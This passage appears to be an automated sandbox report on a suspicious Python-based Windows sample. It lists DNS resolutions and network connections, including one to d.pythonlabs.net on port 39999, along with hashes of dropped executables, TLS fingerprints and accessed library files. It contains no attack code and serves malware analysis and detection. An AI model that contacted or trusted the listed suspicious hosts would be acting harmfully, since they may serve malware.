- ["54.243.151.219", "54.204.27.204", "54.204.27.204", "54.243.151.219", "54.204.27.204", "54.243.151.219"]

cs9.wac.phicdn.net
- ["117.18.237.29", "117.18.237.29", "117.18.237.29", "117.18.237.29"]

shavar.prod.mozaws.net
- ["44.230.27.49", "54.201.97.206", "44.240.138.42", "52.40.9.225", "52.26.168.11", "34.208.83.243", "44.230.27.49", "54.201.97.206", "44.240.138.42", "52.40.9.225", "52.26.168.11", "34.208.83.243"]

push.services.mozilla.com
- []

www.youtube.com
- []

ssl.gstatic.com
- ["216.58.200.131", "216.58.200.131", "216.58.200.131", "216.58.200.131", "216.58.200.131", "216.58.200.131", "216.58.200.131", "216.58.200.131", "216.58.200.131", "216.58.200.131"]

browserdefaults.microsoft.com
- []

api.globalsign.cloud
- ["104.18.25.243", "104.18.24.243", "104.18.25.243", "104.18.24.243"]

e15322.a.akamaiedge.net
- ["104.126.33.209", "104.126.33.209"]

ocsp.pki.goog
- []

time4.apple.com
- []

aus5.mozilla.org
- []

services.prod.mozaws.net
- ["35.163.231.197", "54.149.31.207", "34.218.7.136", "35.82.131.108", "44.235.150.209", "54.148.70.82", "35.163.231.197", "54.149.31.207", "34.218.7.136", "35.82.131.108", "44.235.150.209", "54.148.70.82"]

img-getpocket.cdn.mozilla.net
- []

wpad.localdomain
- []

autopush.prod.mozaws.net
- ["44.233.180.72", "44.233.180.72"]

download-installer.cdn.mozilla.net
- []

reddit.map.fastly.net
- ["151.101.157.140", "151.101.157.140"]

prod.pocket.prod.cloudops.mozgcp.net
- ["34.120.5.221", "34.120.5.221"]

getpocket.com
- ["13.33.179.32", "13.33.179.112", "13.33.179.48", "13.33.179.94", "13.33.179.94", "13.33.179.48", "13.33.179.112", "13.33.179.32", "13.33.179.94", "13.33.179.48", "13.33.179.112", "13.33.179.32", "13.33.179.94", "13.33.179.48", "13.33.179.112", "13.33.179.32"]

g.msn.com
- []

dn6m9t4qll5h.cloudfront.net
- ["13.33.151.100"]

youtube-ui.l.google.com
- ["142.250.193.206", "172.217.166.206", "172.217.161.14", "172.217.160.238", "216.58.221.46", "216.58.196.206", "142.250.195.14", "142.250.194.238", "142.250.194.206", "142.250.194.174", "142.250.194.142", "142.250.194.110", "142.250.194.78", "142.250.194.46", "142.250.194.14", "142.250.193.238", "142.250.193.206", "172.217.166.206", "172.217.161.14", "172.217.160.238", "216.58.221.46", "216.58.196.206", "142.250.195.14", "142.250.194.238", "142.250.194.206", "142.250.194.174", "142.250.194.142", "142.250.194.110", "142.250.194.78", "142.250.194.46", "142.250.194.14", "142.250.193.238"]

mail.google.com
- []

www.wikipedia.org
- []

e4437.dscf.akamaiedge.net
- ["23.45.174.183", "23.45.174.183", "23.45.174.183"]

prod-tp.sumo.mozit.cloud
- ["54.218.9.103", "44.227.102.134", "54.218.9.103", "44.227.102.134"]

twitter.com
- ["104.244.42.1", "104.244.42.1"]

getpocket.cdn.mozilla.net
- []

content-signature-2.cdn.mozilla.net
- []

www.npr.org
- []

ipv4only.arpa
- ["192.0.0.171", "192.0.0.170"]

tracking-protection.cdn.mozilla.net
- []

pki-goog.l.google.com
- ["172.217.166.227", "172.217.166.227", "172.217.166.227", "172.217.166.227"]

www.facebook.com
- []

support.mozilla.org
- []

bouncer-bouncer-elb.prod.mozaws.net
- ["35.163.161.222", "35.155.187.64", "52.43.30.60"]

d1zkz3k4cclnv6.cloudfront.net
- ["13.33.144.120", "13.33.144.51", "13.33.144.38", "13.33.144.67", "13.33.144.120", "13.33.144.51", "13.33.144.38", "13.33.144.67", "13.33.144.120", "13.33.144.51", "13.33.144.38", "13.33.144.67", "13.33.144.120", "13.33.144.51", "13.33.144.38", "13.33.144.67"]

e3673.dscg.akamaiedge.net
- ["23.200.48.129"]

lualibs.oss-cn-hongkong.aliyuncs.com
- ["47.75.19.154", "47.75.19.154"]

download.mozilla.org
- []

api.m.taobao.com
- ["49.44.79.236"]

a1961.g2.akamai.net
- ["49.44.197.202", "49.44.197.177"]

www.reddit.com
- []

googlemail.l.google.com
- ["172.217.166.5", "172.217.166.5"]

incoming.telemetry.mozilla.org
- []

ntp1.aliyun.com
- ["120.25.115.20"]

www.googleapis.com
- ["142.250.182.106", "142.250.182.138", "142.250.196.74", "142.250.196.170", "172.217.163.202", "172.217.166.106", "216.58.200.138", "142.250.67.42", "142.250.67.74", "142.250.76.74", "142.250.77.106", "142.250.77.138", "142.250.77.170", "142.250.182.10", "142.250.182.42", "142.250.182.74"]

ocsp.digicert.com
- []

toolbar-prod-bn01.microsoft.com
- ["20.41.62.11", "20.41.62.11"]

firefox-settings-attachments.cdn.mozilla.net
- []

ctldl.windowsupdate.com
- []

detectportal.firefox.com
- []

accounts.youtube.com
- []

www3.l.google.com
- ["142.250.194.206", "142.250.194.206"]

flashdownloadserver.oss-accelerate.aliyuncs.com
- []

www.amazon.in
- []

e11290.dspg.akamaiedge.net
- ["23.200.50.137", "23.200.50.137", "23.200.50.137"]

clients.l.google.com
- ["142.250.71.46"]

gstaticadssl.l.google.com
- ["172.217.167.195", "172.217.167.195"]

prod.detectportal.prod.cloudops.mozgcp.net
- ["34.107.221.82", "34.107.221.82"]

fonts.gstatic.com
- []

dyna.wikimedia.org
- ["103.102.166.224", "103.102.166.224"]

img-prod.pocket.prod.cloudops.mozgcp.net
- ["34.120.237.76", "34.120.237.76", "34.120.237.76", "34.120.237.76"]

services.addons.mozilla.org
- []

d.pythonlabs.net
- ["45.154.13.224", "45.154.13.224", "45.154.13.224"]

www.mozilla.org
- []

fennec-catalog-cdn.prod.mozaws.net
- ["52.84.13.15", "52.84.13.26", "52.84.13.56", "52.84.13.104", "52.84.13.15", "52.84.13.26", "52.84.13.56", "52.84.13.104"]

snippets.cdn.mozilla.net
- []

lualibs.oss-accelerate.aliyuncs.com
- []

IP Traffic

UDP
- 239.255.255.250:3702
  119.28.230.190:123
  224.0.0.252:5355
  119.28.229.70:123
  224.0.0.251:5353
  255.255.255.255:67
  17.253.82.125:123
  40.81.94.65:123
  239.255.255.250:1900
  120.25.115.20:123

ICMP
- 142.250.195.228:0

TCP
- 163.171.210.41:80
  163.171.199.49:80
  45.154.13.224:39999
  172.217.167.195:443
  47.75.19.154:80
  34.107.221.82:80
  142.250.194.206:443
  142.250.71.46:443
  142.250.192.161:443
  142.250.194.4:443
  34.120.237.76:443
  20.41.62.11:80
  35.163.231.197:443
  142.250.182.106:443
  45.154.13.94:443
  23.200.48.129:443
  35.244.181.201:443
  44.233.180.72:443
  52.84.13.15:443
  142.250.195.173:443
  142.250.195.110:443
  8.241.132.126:80
  35.163.161.222:443
  147.139.17.8:80
  13.33.144.120:443
  216.58.200.131:443
  52.12.55.135:443
  49.44.79.236:80
  216.58.200.195:443
  47.75.19.237:80
  44.230.27.49:443
  13.33.144.112:443
  104.18.25.243:80
  34.120.5.221:443
  52.43.155.197:443
  40.81.30.101:80
  49.44.197.202:80
  117.18.237.29:80
  54.192.219.24:443
  23.200.50.137:443
  172.217.166.227:80
  13.33.151.100:443
  52.84.13.34:443
  172.217.166.5:443
  104.214.77.221:443

IGMP
- 224.0.0.22:0

Files Dropped

e8528807d6e6aed4b469cdd4aeac42e1e472b9e68846a8f44e966a1fb2196e12
- text/x-python

4b4cced4d690147617bdf1a7420b3a3a71deb8dc80ba47832e87eb52eb5be0e4
- application/gzip

6137f8db2192e638e13610f75e73b9247c05f4706f0afd1fdb132d86de6b4012
- text/plain

f10d5b3b93922465e06a56d250bd8c3945e6e71469f49f63d669469d76b599ed
- application/x-dosexec

496729c8c23ac4f3a9128c41767d8c75dd47e5c07ba837fb0a8705dd737ffa19
- application/x-dosexec

aa53ad9b0526c8e08968f18832e757150b3166e62725eaa287b92341bd4823ac
- application/x-dosexec

dbb6c40cb1a49f4d1a5adc7f215e8e15f80b9f0b11db34c84e74a99e41671e06
- text/x-python

e6a7f1f8810e46a736e80ee5ac6187690f28f4d5d35d130d410e20084b2c1544
- application/vnd.ms-cab-compressed

debb788853846a2e040eb762cdc47368be857ffad280fdfb48cc3a5fd589d52b
- application/zip

51995dfe2109751c67706fb6ae51a764e1fcfc571aad01134011f1cdbcf3d723
- application/x-dosexec

95832f0b61fa3069fb5a0c381de64f2137b1060208ef090dde30d3e01c5fbb47
- application/x-dosexec

81b2bd4ea98c8db66554fbc8d7637a1a69a130f331feb732b75caab4c4868fd5
- text/plain

33dfef41f67799b9e581a147af6b6a55cf753a5e75f152d4aeb671e4965b8207
- image/x-gem

ja3

6312930a139fa3ed22b87abb75c16afa
- client_hello_pkt
  - 16030100810100007d030160ec41c14b556480c3c877887b2ac6f9e74c88daae318c8603aedfaa8b4a9ee4000018002f00350005000ac013c014c009c00a00320038001300040100003c00000023002100001e696e636f6d696e672e74656c656d657472792e6d6f7a696c6c612e6f7267000a0006000400170018000b00020100ff01000100
- destination_ip
  - 52.12.55.135
- httpsDomain
  - incoming.telemetry.mozilla.org
- timestamp
  - 1626096065.55
- destination_port
  - 443
- ja3
  - 769,47-53-5-10-49171-49172-49161-49162-50-56-19-4,0-10-11-65281,23-24,0

aa7744226c695c0b2e440419848cf700
- client_hello_pkt
  - 1603010200010001fc0303c0976374e536c457009e7e2662518af7e17d61c0cccb1a52fc7e158317f6408f201ab114886da367bebe5cda0062b33d341592f3b37f4a64b6b23045c8dfd515a40024130113031302c02bc02fcca9cca8c02cc030c00ac009c013c014009c009d002f0035000a0100018f00000014001200000f706c61792e676f6f676c652e636f6d00170000ff01000100000a000e000c001d00170018001901000101000b00020100002300000010000e000c02683208687474702f312e310005000501000000000033006b0069001d00207b4ad8abacebce9798954533ab05ac7839b2227b00b6265269dc9578caa0e74e001700410432f4bfb3f2ef673f016d9a28068e55c2538914554550987093c9c904527bf14729a4379421f324cc0107ebe701b1a2772c7c53a0e9ff7c619bd10d6456ec8166002b00050403040303000d0018001604030503060308040805080604010501060102030201002d00020101001c0002400100150093000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
- destination_ip
  - 142.250.195.110
- httpsDomain
  - play.google.com
- timestamp
  - 1626096057.14
- destination_port
  - 443
- ja3
  - 771,4865-4867-4866-49195-49199-52393-52392-49196-49200-49162-49161-49171-49172-156-157-47-53-10,0-23-65281-10-11-35-16-5-51-43-13-45-28-21,29-23-24-25-256-257,0

b32309a26951912be7dba376398abc3b
- client_hello_pkt
  - 1603010200010001fc0303f4ab64c187e22d4e123eb310a90ddc73ab90ceea839e86a7ab7e77cd138a751f20928c83abb82afaddf9062ddfdf4c9c6c8f74e971b390d3e4883ea7c05ea59fa300206a6a130113021303c02bc02fc02cc030cca9cca8c013c014009c009d002f0035010001938a8a000000000022002000001d62726f7773657264656661756c74732e6d6963726f736f66742e636f6d00170000ff01000100000a000a0008fafa001d00170018000b00020100002300000010000e000c02683208687474702f312e31000500050100000000000d0012001004030804040105030805050108060601001200000033002b0029fafa000100001d00208bd77ea1ff0ff6af7e6de31024b35faeb13b5edeb3afe0640c7877db27b14821002d00020101002b000b0a7a7a0304030303020301001b00030200029a9a000100001500bf0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
- destination_ip
  - 104.214.77.221
- httpsDomain
  - browserdefaults.microsoft.com
- timestamp
  - 1626096053.57
- destination_port
  - 443
- ja3
  - 771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,0-23-65281-10-11-35-16-5-13-18-51-45-43-27-21,29-23-24,0

a72f351cf3c3cd1edb345f7dc071d813
- client_hello_pkt
  - 16030100cd010000c90303e7df2a2f035da6f1e5e64a4af7625f1d20b717dc8cb3634988d4f825e453f9a800001ec02bc02fcca9cca8c02cc030c00ac009c013c014009c009d002f0035000a0100008200000020001e00001b73657276696365732e6164646f6e732e6d6f7a696c6c612e6f726700170000ff01000100000a000a0008001d001700180019000b00020100002300000010000e000c02683208687474702f312e31000500050100000000000d0018001604030503060308040805080604010501060102030201001c00024000
- destination_ip
  - 35.163.231.197
- httpsDomain
  - services.addons.mozilla.org
- timestamp
  - 1626096057.8
- destination_port
  - 443
- ja3
  - 771,49195-49199-52393-52392-49196-49200-49162-49161-49171-49172-156-157-47-53-10,0-23-65281-10-11-35-16-5-13-28,29-23-24-25,0

f5e62b5a2ed9467df09fae7a8a54dda6
- client_hello_pkt
  - 16030100830100007f030160ec4257141555ecdc6b4d24aef6275761e6199e92615c38c278e1c4fe3c215220e38a9693b6d476f815d1be601ff1b70b304db7fde15e03d01b2139e2b53ad67a0018002f00350005000ac013c014c009c00a00320038001300040100001e000500050100000000000a0006000400170018000b00020100ff01000100
- destination_ip
  - 45.154.13.94
- httpsDomain
  - None
- timestamp
  - 1626096215.26
- destination_port
  - 443
- ja3
  - 769,47-53-5-10-49171-49172-49161-49162-50-56-19-4,5-10-11-65281,23-24,0

Process

Files Accessed

C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\PYTHON37.DLL
C:\WINDOWS\SYSTEM32\VERSION.DLL
C:\WINDOWS\SYSTEM32\SECHOST.DLL
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\VCRUNTIME140.DLL
C:\WINDOWS\SYSTEM32\API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL
C:\WINDOWS\SYSTEM32\UCRTBASE.DLL
C:\WINDOWS\SYSTEM32\API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL
C:\WINDOWS\SYSTEM32\API-MS-WIN-CORE-FILE-L2-1-0.DLL
C:\WINDOWS\SYSTEM32\API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL
C:\WINDOWS\SYSTEM32\API-MS-WIN-CORE-SYNCH-L1-2-0.DLL
C:\WINDOWS\SYSTEM32\API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL
C:\WINDOWS\SYSTEM32\API-MS-WIN-CORE-FILE-L1-2-0.DLL
C:\WINDOWS\SYSTEM32\API-MS-WIN-CRT-STRING-L1-1-0.DLL
C:\WINDOWS\SYSTEM32\API-MS-WIN-CRT-HEAP-L1-1-0.DLL
C:\WINDOWS\SYSTEM32\API-MS-WIN-CRT-STDIO-L1-1-0.DLL
C:\WINDOWS\SYSTEM32\API-MS-WIN-CRT-CONVERT-L1-1-0.DLL
C:\WINDOWS\SYSTEM32\API-MS-WIN-CRT-MATH-L1-1-0.DLL
C:\WINDOWS\SYSTEM32\API-MS-WIN-CRT-LOCALE-L1-1-0.DLL
C:\WINDOWS\SYSTEM32\API-MS-WIN-CRT-TIME-L1-1-0.DLL
C:\WINDOWS\SYSTEM32\API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL
C:\WINDOWS\SYSTEM32\API-MS-WIN-CRT-PROCESS-L1-1-0.DLL
C:\WINDOWS\SYSTEM32\API-MS-WIN-CRT-CONIO-L1-1-0.DLL
C:\WINDOWS\SYSTEM32\API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL
C:\WINDOWS\SYSTEM32\IMM32.DLL
C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
C:\WINDOWS\SYSTEM32\CRYPTSP.DLL
C:\WINDOWS\SYSTEM32\RSAENH.DLL
C:\WINDOWS\SYSTEM32\CRYPTBASE.DLL
C:\WINDOWS\SYSTEM32\TZRES.DLL
C:\WINDOWS\SYSTEM32\EN-US\TZRES.DLL.MUI
C:\WINDOWS\SYSTEM32\EN-US\KERNELBASE.DLL.MUI
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\ENCODINGS\__INIT__.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\ENCODINGS\__PYCACHE__\__INIT__.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\CODECS.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\CODECS.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\ENCODINGS\ALIASES.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\ENCODINGS\__PYCACHE__\ALIASES.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\ENCODINGS\UTF_8.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\ENCODINGS\__PYCACHE__\UTF_8.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\ENCODINGS\LATIN_1.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\ENCODINGS\__PYCACHE__\LATIN_1.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\IO.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\IO.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\ABC.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\ABC.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SITE.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\SITE.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\OS.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\OS.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\STAT.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\STAT.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\NTPATH.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\NTPATH.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\GENERICPATH.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\GENERICPATH.CPYTHON-37.PYC
C:\WINDOWS\SYSTEM32\EN-US\KERNEL32.DLL.MUI
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\_COLLECTIONS_ABC.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\_COLLECTIONS_ABC.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\_SITEBUILTINS.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\_SITEBUILTINS.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SITE-PACKAGES\PYWIN32.PTH
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\_BOOTLOCALE.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\_BOOTLOCALE.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\ENCODINGS\CP1252.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\ENCODINGS\__PYCACHE__\CP1252.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SITE-PACKAGES\PYTHONWIN
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SITE-PACKAGES\WIN32\LIB\PYWIN32_BOOTSTRAP.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\PYWIN32_BOOTSTRAP.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\LOGGING\__INIT__.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\LOGGING\__PYCACHE__\__INIT__.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\TRACEBACK.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\TRACEBACK.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\COLLECTIONS\__INIT__.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\COLLECTIONS\__PYCACHE__\__INIT__.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\OPERATOR.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\OPERATOR.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\KEYWORD.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\KEYWORD.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\HEAPQ.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\HEAPQ.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\REPRLIB.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\REPRLIB.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\LINECACHE.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\LINECACHE.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\FUNCTOOLS.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\FUNCTOOLS.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\TOKENIZE.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\TOKENIZE.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\RE.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\RE.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\ENUM.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\ENUM.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\TYPES.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\TYPES.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SRE_COMPILE.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\SRE_COMPILE.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SRE_PARSE.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\SRE_PARSE.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SRE_CONSTANTS.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\SRE_CONSTANTS.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\COPYREG.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\COPYREG.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\TOKEN.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\TOKEN.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\WARNINGS.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\WARNINGS.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\WEAKREF.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\WEAKREF.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\_WEAKREFSET.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\_WEAKREFSET.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\COLLECTIONS\ABC.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\COLLECTIONS\__PYCACHE__\ABC.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\STRING.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\STRING.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\THREADING.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\THREADING.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\JSON\__INIT__.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\JSON\__PYCACHE__\__INIT__.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\JSON\DECODER.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\JSON\__PYCACHE__\DECODER.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\JSON\SCANNER.PY
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\JSON\__PYCACHE__\SCANNER.CPYTHON-37.PYC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\JSON\ENCODER.PY
